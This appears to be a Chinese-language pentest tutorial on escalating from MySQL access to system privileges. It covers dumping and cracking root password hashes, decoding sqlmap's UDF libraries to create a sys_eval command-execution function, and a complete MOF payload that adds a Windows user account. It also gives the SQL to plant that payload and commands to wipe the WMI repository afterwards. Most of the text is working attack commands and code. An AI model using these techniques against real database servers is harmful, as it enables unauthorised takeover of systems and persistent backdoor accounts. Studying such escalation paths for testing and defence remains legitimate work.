Mysql提权

Mysql提权

提权基础知识

一、Mysql提权的必备条件

Mysql的服务没有降权,并且需要获取Mysql root账号密码
使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权

二、Mysql密码查询

1
2
3
4
5
6
7
1、root密码查询
# MySQL <= 5.6 版本
select user,password from mysql.user where user='root';

# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;
将hash放入md5网站破解

三、利用ntfs特性创建文件夹

1
2
3
4
1、创建lib文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
2、创建plugin文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'

四、常用的sql基础查询命令

1
2
3
4
5
6
7
8
查看数据库路径  
select @@datadir;
查看插件的路径
show variables like '%plugins%';
查看Mysql的安装路径
select @@basedir;
查看当前操作系统多少位
select @@version_compile_os;

UDF提权

参考链接

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10

一、原理

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用
利用MYSQL的自定义函数功能将Mysql账号转换为system权限

二、UDF动态链接库的位置

1
sqlmap根目录/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下

1
2
3
4
5
6
7
8
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

具体dll的下载链接,可在参考链接中找到

三、UDF提权的条件

1
2
3
4
1、如果Mysql版本大于5.1,udf.dll放到Mysql安装目录的lib\plugin文件夹下
2、如果Mysql版本小于5.1,在Windows 2003下放于c:\windows\system32目录,在Win2000下,放入C:\winnt\system32目录
3、有Mysql的insertdelete权限,以创建和抛弃函数。一般以root账号为最佳。select * from mysql.user where user='test'
4、拥有可以将udf.dll写入相应目录的权限

四、写入相应的dll过后,执行如下语句

1
2
3
4
5
6
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
select * from mysql.func;
select sys_eval('whoami')
删除自定义函数
drop function sys_eval;

五、如果不能直接连接目标Mysql

1
2
3
4
1、可以使用:udf.php
https://github.com/echohun/tools/blob/master/大马/udf.php
2、也可以使用Navicat MySQL的隧道功能
传入ntunnel_mysql.php文件,然后使用工具连接即可

MOF提权

一、原理

利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行,以系统权限执行

二、提权的条件#

1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null

三、nullevt.mof的利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

四、上传mof

使用sql语句将文件导入到c:/windows/system32/wbem/mof/ (一般是win2003 ,Windows2008以上由于保护机制,较少能够成功(无法写入))

1
select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

要注意的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

五、关于MOF提权的弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:

1
2
3
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
0%